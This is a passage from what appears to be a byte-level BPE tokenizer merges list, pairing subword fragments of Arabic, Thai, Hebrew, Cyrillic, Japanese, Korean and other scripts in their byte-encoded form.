ÙĬÙĦ +к ол +á»ģ m +à¸ľà¸¥ ิà¸ķ +×Ļ׳ ×ĺר +س Ùĥ +ש ×Ļר +ศึà¸ģ ษา +à¸ļ ั +Ñĩ аÑģ +×ķפ ×Ķ +×Ļפ ×ķ׾ +ĠاÙĦس اب +رÙĬ ب +ĠاÙĦ بÙĬ +ãĤ¹ ãĥĨ +Ñĩ ен +à¹ģ à¸ľ +Ġ׳ ש +ز ÙĬد +ØŃ اد +ëį Ķ +رÙĪ Ø¹ +à¸Ĺุ à¸Ļ +ส มา +c zeÅĦ +×Ļ×ĵ ×Ķ +ãģ§ ãģĤ +Ġçoc uk +Ø® ب +à¸ļ าย +à¸Ľà¸£à¸° à¸Ĭา +×ŀש ׾ +ãģª ãģĭ +à¸ģ าย +ãĥģ ãĥ£ +аÑĢ Ð¸ +ĠÑĩ а +à¸Ķ ำ +à¸Ĺั à¹Īว +Ñĥ Ñħ +Ġö z +Ġì¢ ĭ +ج رÙĬ +ائ ÙĤ +à¸ł ัย +Ø· ار +د ارة +Ä© nh +Ø« ÙĨ +zell ik +اÙĦ ت +Ġg eli +ãĥķãĤ © +ол од +رب ع +שת ×ŀש +à¸ļร ร +íĿ ¬ +Ġü rün +Ġê·¸ ëłĩ +ศาส à¸ķรà¹Į +ãģ ľ +×Ļ×ij ׾ +ĠпÑĢед ÑģÑĤав +سط ÙĬÙĨ +ãĤĴ 使 +Ġпом оÑī +×ķ×§ ר +ãĥ¯ ãĥ¼ +Ġyö net +×Ļ×§ ר +à¸Ĥ า +еÑĢи ал +ØŃ Ùģ +Ġ×Ļ ×¦ +à¸Ĺ ิ +å£ ² +à¸Ļ à¸Ńà¸ģ +×ķ׼ ר +íĻ ľ +á»§ y +ĠاÙĦÙĤ ر +×Ļ×ij ×ķת +ÅĽ ni +Ùħ شار +ượ t +ĠÙĦ دÙĬ +ÑĤ ел +ĠØ¥ ÙĦÙĬ +عÙĦ ÙĪÙħ +ìķ ĺ +в иÑĤ +à¸Ħ ะ +yr ı +ãģ¨ ãģ£ãģ¦ +à¹Ģ à¸ī +à¸ĸ าม +ÙĤ ار +عÙĦ اÙħ +ặ ng +Ùħ ÙĴ +×Ļ×ŀ ת +سب Ø© +ãĤ¯ ãĥ© +×ķס ×£ +ĠпÑĢ Ð¸Ð½ +ãģĦ ãĤį +س اس +عت بر +วิ à¸Ĺย +วิà¸Ĺย า +س Ùĥر +ãĤ· ãĥ§ +ãģ ģ +ัà¸ģ ษ +×ij ×ķ×Ķ +ห ย +ãģ¾ ãĤĮ +ĠоÑĢг аниз +каз ал +ĠÑģв Ñıз +uy ết +ĠпÑĢо из +Ġ×§ ×ĺ +à¹ģà¸ģ à¹ī +п ÑĥÑģ +Ġê·¸ ê²ĥ +ëĬ IJ +л екÑģ +ãĥ¼ãĥ Ĺ +à¸ķ ำ +ת×Ĺ ×Ļ׾ +à¸Ńà¸ĩ à¸Ħà¹Į +Ạµ +׳ צ +Ø£ Ø´ +Ø´ Ùĩ +ย ะ +à¸ģ à¸İ +ĠاÙĦØ¥ سÙĦاÙħ +ед ÑĮ +ãģ² ãģ¨ +ëıĦ ë¡Ŀ +ãģ© ãģ® +Ñĥ в +еÑĩ ение +ĠاÙĦت ج +ãģ« è¡Į +Ġп озв +ãĤı ãĤĬ +ÙĦ اث +íķĺ ìĺĢ +Ġм аÑĢ +Ġkon uÅŁ +ãĥ¬ ãĤ¹ +ãĤĴ æĮģ +ĠоÑģ нов +×Ĺ ×ij +ÙĪØ¬ ÙĪØ¯ +פ ×ķף +в оÑĢ +Ġн ик +ãģĭ ãĤĭ +ÅŁtır ma +×Ļס ×ĺ +Ø£ ÙĦ +ห à¹Į +и она +лÑĮ н +Ġг оÑģ +ĠÐľÐ¾Ñģ к +ÑĢ Ð¾Ð± +×ķ×IJ ×Ļ +ãģĬãĤĬ ãģ¾ãģĻ +ãģ£ãģ ± +к л +à¸Ļ à¸Ķà¹Į +رÙĬ Ùģ +اس ب +ĠÑĢ ÐµÑĪ +Ġд ол +ãģ¹ ãģį +×Ļ×ij ×ķר +м еÑī +Ġна ÑĪ +à¹ģ à¸Ľà¸¥ +ÑĢ Ð¸ÑĤ +кÑĥ Ñģ +и ÑĢа +аÑĤ ÑĥÑĢ +ÙĪØ§ صÙĦ +à¹Ģà¸ľ ย +à¸Ń ำ +à¹Ģà¸ģ ิà¸Ļ +غ Ùħ +ãģĻ ãģİ +lı kl +ÅĦ sk +ê² ¬ +×Ļ׼ ×Ķ +׊ש×ij +ÙĪØ± ÙĬØ© +Ġд ейÑģÑĤв +×Ĺ׾ ×ĺ +Ġ׾ ×ŀ×¢ +צ׾ ×Ļ×Ĺ +еÑĩ а +Ùģ Ø§Ø¹ +×Ĵ ×Ļ×ĵ +áºŃ m +ÄĻ b +Ø´ ع +ãģı ãĤĬ +à¸ŀ ุ +ед еÑĢ +à¸Ĥ à¸Ļ +à¸Ħ าร +ĠболÑĮ ÑĪ +ãģı ãģªãĤĬ +à¸ĵ า +×ĵ ×ķ×Ĵ +Ġм н +ä¸Ĭ ãģĮ +ç¶ļ ãģį +ฤ ษ +ภĨ +Ø® ÙĬ +à¹Ģà¸Ĺ à¸ŀ +สั ม +à¹Ģส à¸Ļ +à¹Ģสà¸Ļ à¸Ń +ãĥ ´ +Ġи ÑģÑĤ +با شر +ĠÑĥ ÑĢов +×ŀ ×ķ×ĸ +ab ı +wa ż +×ķצ ×IJ×Ķ +ÑĤ веÑĢ +à¸ŀัà¸Ļà¸ĺ à¹Į +׳ ×Ĵ×ĵ +ãĤĭ ãģĵãģ¨ãģĮãģ§ãģį +ĠÑĤÑĢ ÐµÐ± +à¸ģร ุà¸ĩ +ØŃت اج +à¹Ģ à¸Ħล +ã Ĩ +ÄĻ tr +Ġszcz eg +Ġר ש +à¸Ĺ à¸ĺ +Ġн ек +Ġнек оÑĤоÑĢ +в ÑĪ +Ð ¬ +à¹Īว ย +ล ุ +б ÑĢÑı +หม ูà¹Ī +à¹ģ à¸ķà¸ģ +ר׼ ×Ļ×Ŀ +Ġí ĸī +ã i +Ùĥر Ø© +â Ń +í IJ +ã į +á ģ +â ® +â ¥ +ì ® +à ¿ +â ¿ +á Ĥ +á ¤ +â ł +í Ł +ðIJ į +ðIJ ° +ðĿ Ĩ +ðŁ Ī +Ġ×¢ ׾ +Ġع ÙĨ +ĠÙħ ع +Ġ×ĸ ×Ķ +ĠÙħ ا +Ġm Ãł +Ġd ụ +á»ĩ c +а Ñħ +s ı +íķĺ ê³ł +Ġ×ķ ×ij +ĠÐŁ о +×ķת ר +ĠÙĦ Ùħ +Ġ×ķ ׾ +ãģĹãģ¦ ãģĦãĤĭ +Ġ×ŀ ×Ļ +Ġب ÙĬÙĨ +з а +ĠÙĥ اÙĨ +Ġ×Ķ ×Ļ×Ķ +ëħ Ħ +×IJ ×ķ +д и +ĠпеÑĢ Ðµ +d ı +Ġ׾ ש +Ġש ×ŀ +ãģĮ ãģĤãĤĭ +ãģĦ ãģĦ +ÑĢ Ðµ +×§ ×ķ +и ли +м е +ÙĬ ت +ãģ§ ãģĤãĤĭ +Ġв о +à¹ĥ หม +à¹ĥหม à¹Ī +Ġש ×ij +Ġ à¹Ĥà¸Ķย +ÙĬ Ùĩ +ãģ§ãģĻ ãģĮ +ãģ¨ ãģ¯ +ר ×ķ +Ġ à¸ĭึà¹Īà¸ĩ +ãģ§ãģį ãĤĭ +м о +à¹Ģà¸ŀ ืà¹Īà¸Ń +צ ×ķ +×ĺ ×ķ +ìķ Ī +Ġh á»į +à¹Ģà¸ĩ ิà¸Ļ +ĠاÙĦ ب +Ġ มี +ë¬ ¼ +Ñģ е +ëĵ¤ ìĿ´ +Ġë§ IJ +Ġl Ỽ +a ÅĤ +×Ĺ ×ijר +Ġd á»± +ÙĬ Ø« +Ġth á»ĭ +à¸ģà¹Ī à¸Ńà¸Ļ +Ġ×ij ׼׾ +ãģ ¸ +ã썿ĢĿ ãģĦãģ¾ãģĻ +ả nh +ย า +Ùģ Ø§ +ส ี +à¸ķ า +ë² ķ +ãĥª ãĥ¼ +รา à¸Ħา +Ġ×ķ ׾×IJ +ãģ¨ ãģĵãĤį +à¹Ģล ืà¸Ń +di ÄŁi +ÙĪ Ø§ÙĨ +Ġ׾×Ķ ×ª +รว ม +פ ×Ļ×Ŀ +à¸ľ ม +ж и +c ı +ÑĢ Ð¾Ð´ +Ġkar ÅŁÄ± +×Ĵ ×ķ +ãģ« ãģ¤ +ãģ«ãģ¤ ãģĦãģ¦ +r Ãł +×Ļ×ķת ר +ĠìĨ Į +×§ ×Ķ +ÑģÑĤв о +ãģij ãģ© +g é +à¸Ķ à¹īาà¸Ļ +çļĦ ãģ« +ĠÙĬ ÙħÙĥÙĨ +ìĨ į +ÙĬ Ùĥ +à¹Ħว à¹ī +Ñģки й +ì m +Ġ׾×IJ ×Ĺר +à¸Ńา หาร +Ġà¹Ģ à¸ŀ +รา ะ +ล ูà¸ģ +ÑģÑĤ а +Ġìľ ł +ÙĤ ÙĪÙĦ +б оÑĢ +Ñģк ого +หล ัà¸ĩ +à¸Ĥ à¹Īาว +à¹Ģม ืà¸Ńà¸ĩ +ê° ģ +t Ãł +ÙĬ ÙĬÙĨ +عر ض +ë° © +Ġëı Ļ +Ġà¹Ģ à¸Ľ +Ġà¹Ģà¸Ľ à¹ĩà¸Ļ +ç i +li ÄŁi +ìĹIJ ê²Į +ãĤ¿ ãĥ¼ +Ġ׾ ת +פ ×ķת +à¸Ĥ à¸Ń +ر س +ìł IJ +à¸ľ à¹Īาà¸Ļ +ÑĦ и +ج ÙĨ +ì¢ ħ +Ġ×Ķ ×¤ +Ġn go +á»ĭ a +Ġtá» ķ +Ġê·¸ 리 +à¹Ģม ืà¹Īà¸Ń +ذ Ùĥر +ìĸ ij +ìĹ Ń +×ĺ ׾ +k ı +Ġع ÙħÙĦ +Ġع ÙĨد +à¸ĭ ืà¹īà¸Ń +Ġê± ° +в е +r ü +à¹Ģ à¸Ńา +ส à¹Į +à¸Ī à¸Ļ +ס ת +Ġgi ả +ãĤĭ ãģ¨ +à¸ģำ ลัà¸ĩ +н ей +à¸Ī ริ +à¸Īริ à¸ĩ +Ġë į +Ġëį Ķ +à¸Ħà¹Ī ะ +ì n +Ġsü re +Ġqu y +à¸ļ าà¸ĩ +åıĸ ãĤĬ +ר ×Ĺ +×ij ת +ãģĮ ãģĤãĤĬãģ¾ãģĻ +ר ש +ìĹIJ ëĬĶ +Ġ×IJ פשר +ay ı +ãģĮ ãĤī +ØŃ ب +ан Ñģ +س ÙĪ +ĠпÑĢ Ðµ +د ÙĪ +ãģ« ãĤĪ +à¹Ģà¸ģ ม +สู à¸ĩ +m akt +makt ad +maktad ır +Ġön em +×Ļ×ŀ ×Ļ×Ŀ +б о +ÙĪ ÙĬØ© +รู à¸Ľ +à¹Ĥล à¸ģ +Ùħ ÙĬع +ÑģÑĤ Ñĥп +à¹Ĥ à¸Ń +دÙĬ ÙĨ +ì¤ ij +ãģĹãģ ı +à¹Ģส ีย +в Ñĭ +Ùħ ت +íĺ Ħ +ãĥIJ ãĥ¼ +ا Ø´ +×§ ס +Ġtá» ¥ +ล à¸Ķ +Ùģ Ø© +í ijľ +ر ج +k ÅĤad +ĠÅŁ ey +ĠØ£ Ùħ +Ġà¹Ģ ม +Ġب ÙĦ +Ñģ каÑı +ãģ¨ ãģ® +Ġìĭ ¤ +ấ m +ห à¹īà¸Ńà¸ĩ +à¸Ĭ ม +d ü +Ġç ek +Ġê³ ł +×Ĵ ×ij +à¸Ĭี วิ +à¸Ĭีวิ à¸ķ +Ù쨶 ÙĦ +ภ¯ +ç ı +Ġب Ø´ +ĠÙĩ ÙĨا +ãģį ãģ¾ãģĹãģŁ +t ü +Ġìĺ ģ +ĠTür k +к ÑĤ +פר ס +ãģ¨ãģĦãģĨ ãģĵãģ¨ +í ĶĦ +à¹ģร à¸ģ +ר ×ķף +Ġar as +×ŀצ ×IJ +Ġtá» ī +س ا +à¸ŀ à¸Ń +ĠاÙĦÙħ ØŃ +ãĥ ¤ +ĠاÙĦ است +Ùģ ÙĨ +×Ļ×ŀ ×Ķ +ر ت +ãģ¨ ãĤĤ +Ġна Ñģ +п ÑĢи +Ġ×Ĺ ×ķ +и ла +ÙĬ Ø´ +Ġgö z +Ġ×ij ׳×Ļ +ım ı +ĠÑĤ еÑħ +Ġh á»Ļ +غ ر +к он +اØŃ ت +Ġ à¸ŀ +à¸Ń à¸Ńà¸Ļ +à¸Ńà¸Ńà¸Ļ à¹Ħล +à¸Ńà¸Ńà¸Ļà¹Ħล à¸Ļà¹Į +Ñħ о +Ñı в +à¹ģ สà¸Ķ +à¹ģสà¸Ķ à¸ĩ +à¹Ģà¸ŀ ียà¸ĩ +ÑĤ ов +ا ÙĬ +Ġ×Ķ ×ĵ +Ġ×ķ ׼ +ãĤī ãģĦ +×ķפ ף +Ġë ¶Ī +ล à¸Ńà¸ĩ +Ø· اÙĦ +Ġн и +ĠÙħ ست +ế c +Ġש ׼ +ĠëķĮ 문 +วัà¸Ļ à¸Ĺีà¹Ī +×Ļ׾ ×ĵ +ØŃ ا +е ÑĨ +Ġc ứ +×ĵ ×ķר +ĠÙħ ØŃ +ר׼ ×ij +بÙĬ ع +ни и +ĠاÙĦØ£ ÙĪÙĦ +à¸Ħว ร +ã썿ĢĿ ãģĨ +ĠС о +ائ ÙĬØ© +ر اء +оÑģ об +Ġب Ø£ÙĨ +×¢ ×ķ×ĵ +ĠÑĤ е +ãģĵ ãģĨ +ÑģÑĤ ÑĢа +ай н +Ġsö z +ت ÙĨا +à¸Ń ิ +ặ p +ĠìķĦ ëĭĪ +íķ Ń +Ġר×IJ ש +Ġ à¹Ħà¸Ķà¹ī +Ġ×Ĵ ×ĵ +Ġס פר +обÑī е +ĠÙĪ Ø¥ +ada ÅŁ +ãģ¡ ãĤĩ +×§ ×ķ׾ +ÑĢ ÐµÐ· +ĠdÃ¼ÅŁ ün +Ġ×ij ×IJ×ŀ +Ġìĸ´ ëĸ +ער ×ij +н ее +ĠÑģÑĤÑĢ Ð°Ð½ +س اÙĨ +yn ı +ĠاÙĦر ئÙĬس +ãģĹãģ ª +Ġ׳ ת +ãģ«ãģª ãģ£ãģŁ +g ü +åıĹ ãģij +׾ ת +ìł Ī +ëĬĶ ëį° +Ø® ÙĬر +à¸ķà¹īà¸Ńà¸ĩ à¸ģาร +ĠÙĦ Ø£ÙĨ +Ġch á»ĭ +ÙĪ Ø© +à¹ĥ ส +ë¶Ģ íĦ° +íķĺ ë©´ +ữ u +à¹Ģหม ืà¸Ńà¸Ļ +б еÑĢ +ĠìĿ´ ìļ© +ĠÑģ еб +wiÄĻ ks +Ġ׳ ×¢ +ÑĤ ÑĥÑĢ +Ġngh Ä© +ש ×ķ×ĺ +ti ÄŁi +Ġde ÄŁi +×IJ ×ij +Ġ×ŀ ×ŀ +ãĥĹ ãĥŃ +wa ÅĤ +à¸Ī ึà¸ĩ +Ø® دÙħ +×IJ ×Ŀ +Ä±ÅŁ ı +cz Äħ +ר ×ĵ +ĠÑĢ Ñĥб +خر Ùī +ãģ® æĸ¹ +Ġд енÑĮ +×Ĺ ×Ļ×Ŀ +еÑĤ е +ëĤ ľ +×IJ ×Ĵ +×¢ ×ķר +ë³ Ħ +åIJĮ ãģĺ +ãĤ ² +ר ×ļ +×ķש ×IJ +ìľ ¡ +ا Ø® +צ ×Ļ×Ķ +á»± a +ãģĪ ãģ¦ +ש×Ķ ×ķ +ан ÑĤ +ลา à¸Ķ +ин г +ë¡ ł +اع د +ÙĪ Ø³Ø· +Ġв оп +Ġвоп ÑĢоÑģ +Ùħ ÙĬÙĨ +à¸Ħ à¸ĩ +×Ļר ×Ļ×Ŀ +c ów +ê² © +Ġê·¸ 룰 +Ġì§ Ħ +Ġש ׾×Ķ +à¹Ģร ิà¹Īม +à¸Ĭ à¸Ńà¸ļ +д еÑĤ +ÑİÑī иÑħ +à¸ļ à¸Ńà¸ģ +æĢĿ ãģĦ +ع ÙĬد +ס ×ŀ +×Ĵ ×Ļ×¢ +צ ×ĵ +ب ات +ĠëͰ ëĿ¼ +à¸Ī ัà¸ĩ +ãģłãģij ãģ§ +×¢ ×Ļר +ĠÑĩ ел +ĠÑĩел ов +ĠÑĩелов ек +ãĥĥ ãĥģ +à¹Ģà¸ģ ีà¹Īยว +à¸Ķ ิ +Ġפ ×¢ +×Ļ×ŀ ×Ļ +ë° ĺ +Ø® ار +×ij ×Ļת +×¢ ×Ļ×Ŀ +ü yor +ãĤģ ãģ¦ +к лад +Ġ à¸Īาà¸ģ +à¹Ģà¸Ħ ย +ส à¸Ńà¸ĩ +à¹ģ à¸Ħà¹Ī +ẫ u +หà¸Ļ ัà¸ĩ +ש׾ ×ķ×Ŀ +اÙĨ ÙĬØ© +åĩº ä¼ļ +åĩºä¼ļ ãģĦ +à¸ł าย +à¸ļา à¸Ĺ +à¸Ĭา ว +mu ÅŁ +Ġ׾ק ×ij׾ +ãĤ· ãĥ£ +Ġİ ÅŁ +×Ĵ×ĵ ×ķ׾ +ج عÙĦ +ë³ Ģ +ยิ à¹Īà¸ĩ +à¸Ļ าย +à¸Ļ ีà¹Ī +วิ à¸ĺี +ãĤī ãģªãģĦ +ëł Ī +Ġ문 ìłľ +Ġ à¸ģ +à¸Ĺำ à¸ĩาà¸Ļ +à¹Ģว à¹ĩà¸ļ +ÑĦ е +楽 ãģĹ +สำ à¸Ħ +สำà¸Ħ ัà¸į +ر Ùħ +ãģķãĤĮ ãģ¦ +Ġоб ла +ר×IJ ×Ļ +หม à¸Ķ +ÙĨ ÙĬØ© +ли н +Ġe ÄŁ +it im +ëł ¹ +ص اÙĦ +ÅĽ l +à¸ľ ิà¸Ķ +ãĥŀ ãĥ³ +åħ¥ ãĤĮ +à¹Ģà¸ķ à¸Ńรà¹Į +ار ÙĬ +ĠÐ ¦ +d ür +ส วย +ë¦ ½ +رÙĥ Ø© +Ġh ã +×Ļת ×Ķ +à¸Ĥ à¸Ļา +à¸Ĥà¸Ļา à¸Ķ +à¸Īำ à¸Ļ +à¸Īำà¸Ļ วà¸Ļ +ש ×ķ×§ +Ġд ом +ì± ħ +ãģĭ ãģij +פ ×ķ׾ +à¸Ĭ าย +Ñģ моÑĤÑĢ +Ñģл Ñĥж +ש ×IJ׾ +кÑĢÑĭ ÑĤ +Ġìŀ ĺ +é«ĺ ãģĦ +ĠÑĢ Ñĥк +ÙĨ ص +д ав +ưỠ¡ +ưỡ ng +ر اÙħ +×Ļ׳ ×Ļ×Ŀ +ãĥ© ãĥ¼ +ëĦ ¤ +Ġت ع +l ke +好 ãģį +æĮģ ãģ¡ +Ġë§ İ +Ġy ük +ĠÑģоÑģÑĤ ав +енÑĤ ÑĢ +pe ÅĤ +à¹Ģà¸Ľà¸¥ ีà¹Īย +à¹Ģà¸Ľà¸¥à¸µà¹Īย à¸Ļ +íı ī +ãĤĦ ãģĻ +×Ĺ ×ĸ +×ijר ×Ķ +ë£ ¨ +ìĶ Ģ +بØŃ Ø« +à¹Ģà¸ķ à¹ĩ +ów i +ب Ùĩ +ãģį ãģ¾ãģĻ +Ġ×¢ ×ŀ +×Ĵ ×ķ׾ +ез д +ÙĬÙģ Ø© +สà¸Ļ à¹ĥà¸Ī +Ġת ׾ +Ñı Ñī +Ġس ÙĨ +ĠÙĪØ§ ØŃد +ĠÑģ м +lad ı +ı ld +×Ļר ת +ีย à¸Ļ +ת×Ĺ ×ª +Ġж из +à¸ŀ ั +à¸ŀั à¸Ĵ +à¸ŀัà¸Ĵ à¸Ļา +à¸Ĭ ิ +ا Ø®ÙĦ +ãģ£ãģ¦ ãģĦãģŁ +รั à¸IJ +ãĤģ ãĤĭ +à¹Ĥ à¸ģ +ĠT á»ķ +Ġh akk +ر Ùģ +ìł Ģ +Ñģ об +ãģª ãģijãĤĮãģ° +Ùĩ ÙĪ +Ġë² ķ +ãĤ Ĩ +ĠاÙĦس عÙĪØ¯ +Ġ×IJ תר +Ø§Ø º +Ġ׾ ×ĵ +à¹ģ à¸ķ +à¹ģà¸ķ à¹Īà¸ĩ +íĮ Į +Ñĥп иÑĤÑĮ +à¸ŀืà¹īà¸Ļ à¸Ĺีà¹Ī +×ij ת×Ļ +à¹ĩ à¸ģ +ÅĤ at +Ġê°ľ ìĿ¸ +ìłķ ë³´ +ÑĤ ал +Ġgü ven +Ġİ l +Ġê° ģ +Ġب ت +×ŀ ×ķ׳×Ķ +ĠاÙĦØŃ ÙĥÙĪÙħ +ÙĤ ات +à¹ģ à¸ģà¹Ī +ห าà¸ģ +н ÑĮ +à¸Ľ รัà¸ļ +มา à¸ĵ +Ġне Ñģк +ĠØ ¶ +สม ั +สมั à¸Ħร +ãģĮ ãģĤãĤĬ +м еÑģÑĤ +Ġ×IJ צ׾ +Ġкомп ани +ס ר +ÙĬÙħ Ø© +ĠÑħ оÑĢо +ĠÑħоÑĢо ÑĪ +Ġ×Ļ ×ķ×ĵ +ü s +×Ĵ ×Ļש +à¸ļ à¸Ĺ +تÙĨ ظ +ว าà¸ĩ +ม หา +Ġ׼ ×ķ׾ +à¸Ĥ à¹īาà¸ĩ +ë° ľ +г од +д ан +ãģĭãĤĤãģĹãĤĮ ãģ¾ãģĽãĤĵ +ãģĵ ãģ¡ãĤī +ãĥIJ ãĤ¤ +ece ÄŁi +دÙĬ دة +ÙĨ Ùī +Ġëĭ¤ ìĿĮ +ว ี +غ ا +ли з +à¹Ģà¸Ķ ิ +à¹Ģà¸Ķิ ม +ĠÙĬ ست +Ġy ılı +ko ÅĦ +ãģ§ãģĹãĤĩãģĨ ãģĭ +ãģĤ ãģª +ãģĤãģª ãģŁ +ÑĨ ен +ĠÙĪ Ø² +×IJ ×Ļש +à¹Ī à¸Ń +ر ØŃ +ê´ ij +ÑĢа ÑģÑĤ +Ġ×Ķ ×ľ +ãģĹãģ¦ ãĤĤ +×ŀר ׼ +×ŀר׼ ×ĸ +éģķ ãģĦ +ãģŁ ãģı +ĠÑģ Ñĥд +в еÑģÑĤи +ĠíķĦ ìļĶ +ãĥķ ãĤ§ +ÑĤелÑĮ но +à¹Ģà¸ŀ ืà¹Īà¸Ńà¸Ļ +ÅĤu ż +à¹Ģà¸Ķิà¸Ļ à¸Ĺาà¸ĩ +ש ×ķר +Ġ×ŀ ×ĵ +×ķ×¢ ׾ +ÙĦ اÙħ +à¹Ħ à¸ĭ +л ей +кÑĥ ÑĢ +Ạ¢ +à¸Ĺ าà¸Ļ +ì§ ij +ĠгоÑĢ Ð¾Ð´ +ר ס +׾ ×ķ×Ĵ +mas ını +Ġл ÑĥÑĩ +ล à¹Īา +ìļ ¸ +ש ×ĺ +ĠÐĺ н +í Ĥ¤ +ÙĪÙĦ ا +ìķ ł +ĠØ£ÙĬ ضا +Ùĥ ار +ĠاÙĦت ع +ส ูà¹Ī +ãĤ ¼ +×ij ×Ļ×IJ +ย à¸ģ +ĠØŃ ÙĤ +ر بÙĬ +ãģĺãĤĥ ãģªãģĦ +รัà¸ģ ษา +Ñħод иÑĤ +à¸ķ à¸Ńà¸ļ +׳ ×ĺ×Ļ +ĠاÙĦÙħ ج +تÙħ ع +ов аÑĤÑĮ +ÙĦ ÙĬÙĨ +×Ļ×ŀ ×ķת +Ġm ù +n ÄĻ +Ġد ÙĬ +׼ ש×Ļ×ķ +Ġhi ç +ë ijIJ +ÙĪ Ø§Ø¡ +ÙĪ Ø· +ĠاÙĦ بÙĦ +à¹ģม à¹ī +×§ ×ķת +ÙĪØ¬ د +å§ĭ ãĤģ +ÙĬ ئة +Ġë§ ¤ +ص بØŃ +פ ×IJ +г оÑĢ +ס ×Ķ +بÙĬ ÙĤ +ย าà¸ģ +Ġн ад +ÙĬ Ùij +Ġب ÙĪ +ס ×ķר +Ùħ ÙĥاÙĨ +ר ×ij +×Ĵ ×ĸ +צ ת +b ilit +л аг +ĠN go +×IJ ×ķר +à¸ķ à¸Ļ +íĬ ¹ +à¸Ĺีà¹Ī à¸Ķี +à¸Ľà¸£à¸° à¸Īำ +ов ание +ãģĦ ãģ¤ +ãĥĥãĤ¯ ãĤ¹ +åIJĪ ãĤı +åIJĪãĤı ãģĽ +×Ļ׳ ×ķ×Ļ +ạ y +Ø« ÙĤ +ĠпÑĢ Ð¾Ð± +ĠпÑĢоб лем +ÅŁ eh +ÅŁeh ir +ع ادة +اÙĨ ÙĪÙĨ +à¸ķัว à¹Ģà¸Ńà¸ĩ +ì¶ ķ +ı lan +б ан +ãĥ³ ãĥī +à¸Ī ี +Ġ×Ķש ׳×Ļ +п оÑĤ +×ķ׾ ×Ļ×Ŀ +ล ัà¸ļ +ĠÑį ÑĤи +×ij×§ ש +ë¹Ħ ìĬ¤ +à¸Ńยà¹Īาà¸ĩ à¹Ħร +×Ļ׾ ×Ļ +à¹ĥà¸Ĭ à¹Ī +ĠاÙĦ ÙĥÙĦ +ãĥļ ãĥ¼ãĤ¸ +ص Ø© +ÑĤи ÑĢ +ãĤĵ ãģ© +зÑĭ к +wy ż +Ùĩ ÙĬ +ĠÙħ ÙĦÙĬ +Ġвид е +ظ اÙħ +دا ÙĪÙĦ +×ŀ ת×Ļ +Ġs ık +à¹Ģà¸ķิ ม +ãĤ¢ ãĤ¤ +ка Ñħ +צ ×Ļ׾ +à¹Ģà¸Ĭ à¹Īà¸Ļ +м аг +маг аз +магаз ин +à¸Ľ ั +à¸Ľà¸± à¸Ī +Ġש ×Ļר×ķת +ีย ม +ãĥĸ ãĥ« +Ġد ÙĪÙĦ +קר ×Ļ×Ŀ +Ùĩ Ùı +ов о +Ġü ret +د ÙĪÙĨ +à¹ģà¸Ļ ว +à¹Ģà¸Ļ ืà¹īà¸Ń +ĠÑĦ оÑĤ +ãĥ ĺ +ãģ¤ ãģĭ +Ñı Ñģ +ĠíķĺëĤĺ ëĭĺ +ائ ع +Ġп лаÑĤ +ìĺ Ī +Ġdost ÄĻp +ÙĪØ¬ Ùĩ +Ġ×Ķ ×Ĺ×Ļ +׳ ×Ļ×§ +д ей +í ĽĦ +ı y +بØŃ ر +à¹Ģส ริม +Ġ׾ ×Ĵ +ذÙĩ ب +ج ÙĬÙĦ +رÙĥ ز +Ġë ħ +Ġëħ ¸ +פ×Ļ׾ ×ķ +ãģ¾ ãģļ +iri ÅŁ +ĠÙĥ ÙĬÙģ +Ġ×ij צ +Ġêµ IJ +ÑĢоÑģ Ñģ +ĠØ´ ÙĬ +Ġiç er +×Ĵ ×ķ×ij×Ķ +мен но +×¢ ×ij×Ļר +×ķ×ŀ ×Ķ +ãĤī ãģĹãģĦ +ãģ ¼ +Ñī ин +è²· ãģĦ +جÙħÙĪØ¹ Ø© +Ġdön em +Ġ×ij ×IJר +в еÑģÑĤ +×ķר ×ķת +س Ùģ +à¹ģà¸Ĺ à¸Ļ +Ġд окÑĥменÑĤ +Ġا ÙĬ +ج اÙĨ +צ×ķ×¢ ×Ļ +ĠоÑģ об +ĠاÙĦÙħ س +ÑĢаР± +à¸ł ู +à¸Ķ าว +л екÑĤ +ع ÙĤ +×ķ×ĵ ×ķת +Ġol u +Ġolu ÅŁtur +ãģ¾ ãģ¾ +ед ин +à¹Ģ à¸Ńà¸ģ +ãĤµ ãĤ¤ +ëĦ Ī +Ø· ÙĨÙĬ +Ø· ÙĤØ© +ĠÐł аз +ÙĦ Ùij +Ñĩ ем +Ġ׾ ×ĺ +สั à¹Īà¸ĩ +سر ائÙĬÙĦ +Ġפר ×ĺ×Ļ +д еÑģÑĮ +Ġ׳ ׼ +اÙĨ ب +ÙĬا Ø© +Ùħ بر +Ġk ı +à¸Ľ à¸ı +à¸Ľà¸ı ิ +à¸ļั à¸ķิ +׳ ת×Ļ +ìĨ ¡ +ر اب +à¹ĥ à¸ķ +à¹ĥà¸ķ à¹ī +×Ļ׳ ת +ÙĪ ÙĬر +Ġ×Ķ×ŀ ×Ļ +ей ÑĩаÑģ +×§ ×ķ×ij +در اس +ĠÙħ ÙĤ +رÙĬ ÙĨ +Ø® اص +ãģĬ éĩij +Ġج دا +ãģĨ ãģ¡ +ëħ ¸ +ır ım +æ§ ĺ +ãģ« å¯ +ãģ«å¯ ¾ +ÑĨ ев +Ġv ard +ĠÐIJ н +e ÄŁ +ÑģÑĤв енно +Ð ¨ +س د +à¸ģ ุ +à¹ģà¸ľ à¸Ļ +รูà¹ī ส +รูà¹īส ึà¸ģ +ات ØŃاد +Ñij ÑĤ +×Ĺ ×ķ×§ +ãģĻ ãģIJ +Ø· ÙĦاÙĤ +Ġ×§ ×ķ×ĵ +à¹ĥà¸Ĭ à¹īà¸ĩ +à¹ĥà¸Ĭà¹īà¸ĩ าà¸Ļ +ãĥ¼ãĤ ¿ +Ġs ür +ÑĢ Ð¾Ðº +ë³ ij +สมา à¸Ĭ +สมาà¸Ĭ ิà¸ģ +ãĥķ ãĥ¬ +è¾¼ ãģ¿ +ãĤ» ãĥ³ +Ġê°Ģ ì§Ģ +à¸ľ à¹īา +ÑįÑĤ омÑĥ +иÑĤ ел +à¸ł ั +ภij +ãĥĸ ãĥ© +×Ľ×ª ×ķ×ij +׳ ×Ŀ +ен нÑĭе +×¢ ×¨×Ľ×ª +Ġì Ĥ +ĠìĤ ´ +à¸Ĥ à¹īา +׳ ×ķס +ãĥ¬ ãĥĵ +ÑĢ ÐµÑģ +à¹Ģล à¸Ĥ +Ø« اÙĦ +ìĹ Ĩ +ĠÑĩ аÑģÑĤ +า ศ +ãĥª ãĤ¢ +u ç +×Ļ׼ ×ķת +ล à¹īาà¸Ļ +i ë +ãĤ¸ ãĤ§ +à¸Ī à¸Ń +ÙĪ ØŃد +×Ļצ ×ķ×ij +Ġ×ij ש׾ +ок о +ض Ø© +ذ ر 